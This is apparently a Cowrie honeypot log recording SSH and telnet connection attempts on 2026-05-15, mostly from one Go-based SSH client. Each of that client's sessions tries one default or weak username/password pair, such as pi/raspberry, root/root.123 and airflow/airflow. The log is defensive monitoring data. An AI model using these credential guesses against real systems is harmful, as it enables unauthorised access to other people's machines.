{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:10.266322Z","src_ip":"192.109.200.237","session":"68b101352511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:10.513939Z","src_ip":"192.109.200.237","session":"68b101352511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.423730850219727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:11.540549Z","src_ip":"50.6.8.71","session":"87154e44ecea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:11.599074Z","src_ip":"192.109.200.237","session":"68b101352511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.12.237.201","src_port":54555,"dst_ip":"10.17.0.5","dst_port":23,"session":"da0e2a178792","protocol":"telnet","message":"New connection: 85.12.237.201:54555 (10.17.0.5:23) [session: da0e2a178792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:12.791728Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50836,"dst_ip":"159.203.135.109","dst_port":22,"session":"262340a4d84b","protocol":"ssh","message":"New connection: 192.109.200.237:50836 (159.203.135.109:22) [session: 262340a4d84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:13.466957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:13.471901Z","src_ip":"192.109.200.237","session":"262340a4d84b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:13.554217Z","src_ip":"192.109.200.237","session":"262340a4d84b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82625079154968,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:13.605229Z","src_ip":"50.6.8.71","session":"afd4069d4a9d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:13.800557Z","src_ip":"192.109.200.237","session":"262340a4d84b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:14.885606Z","src_ip":"192.109.200.237","session":"262340a4d84b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50844,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eac415d0c85","protocol":"ssh","message":"New connection: 192.109.200.237:50844 (159.203.135.109:22) [session: 0eac415d0c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:16.674664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:16.682835Z","src_ip":"192.109.200.237","session":"0eac415d0c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:16.765231Z","src_ip":"192.109.200.237","session":"0eac415d0c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:17.012647Z","src_ip":"192.109.200.237","session":"0eac415d0c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34846,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c480cb77ed4","protocol":"telnet","message":"New connection: 50.6.8.71:34846 (10.17.0.5:23) [session: 2c480cb77ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:17.558213Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:18.097404Z","src_ip":"192.109.200.237","session":"0eac415d0c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50858,"dst_ip":"159.203.135.109","dst_port":22,"session":"01cb15539f54","protocol":"ssh","message":"New connection: 192.109.200.237:50858 (159.203.135.109:22) [session: 01cb15539f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:19.976106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:19.980268Z","src_ip":"192.109.200.237","session":"01cb15539f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:20.062001Z","src_ip":"192.109.200.237","session":"01cb15539f54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:20.308394Z","src_ip":"192.109.200.237","session":"01cb15539f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:21.392338Z","src_ip":"192.109.200.237","session":"01cb15539f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37340,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8b6e0ad0380","protocol":"ssh","message":"New connection: 192.109.200.237:37340 (159.203.135.109:22) [session: e8b6e0ad0380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:23.284706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:23.289178Z","src_ip":"192.109.200.237","session":"e8b6e0ad0380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:23.372109Z","src_ip":"192.109.200.237","session":"e8b6e0ad0380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:23.620677Z","src_ip":"192.109.200.237","session":"e8b6e0ad0380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:24.707002Z","src_ip":"192.109.200.237","session":"e8b6e0ad0380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.817878007888794,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:25.609427Z","src_ip":"85.12.237.201","session":"da0e2a178792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37350,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f4c438ee261","protocol":"ssh","message":"New connection: 192.109.200.237:37350 (159.203.135.109:22) [session: 3f4c438ee261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:26.619828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:26.623971Z","src_ip":"192.109.200.237","session":"3f4c438ee261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:26.705793Z","src_ip":"192.109.200.237","session":"3f4c438ee261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:26.961945Z","src_ip":"192.109.200.237","session":"3f4c438ee261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:28.046127Z","src_ip":"192.109.200.237","session":"3f4c438ee261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37364,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a4179da376b","protocol":"ssh","message":"New connection: 192.109.200.237:37364 (159.203.135.109:22) [session: 0a4179da376b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:29.986791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:30.045384Z","src_ip":"192.109.200.237","session":"0a4179da376b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:30.221943Z","src_ip":"192.109.200.237","session":"0a4179da376b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:30.470218Z","src_ip":"192.109.200.237","session":"0a4179da376b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:31.555542Z","src_ip":"192.109.200.237","session":"0a4179da376b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.251477479934692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:31.748272Z","src_ip":"50.6.8.71","session":"ece0a1a60ae3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32972,"dst_ip":"159.203.135.109","dst_port":22,"session":"f036c3851209","protocol":"ssh","message":"New connection: 192.109.200.237:32972 (159.203.135.109:22) [session: f036c3851209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:33.489249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:33.493868Z","src_ip":"192.109.200.237","session":"f036c3851209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:33.575849Z","src_ip":"192.109.200.237","session":"f036c3851209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:33.826167Z","src_ip":"192.109.200.237","session":"f036c3851209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:34.912967Z","src_ip":"192.109.200.237","session":"f036c3851209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.34105849266052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:34.918935Z","src_ip":"50.6.8.71","session":"abd7cc7773ec","protocol":"telnet"}
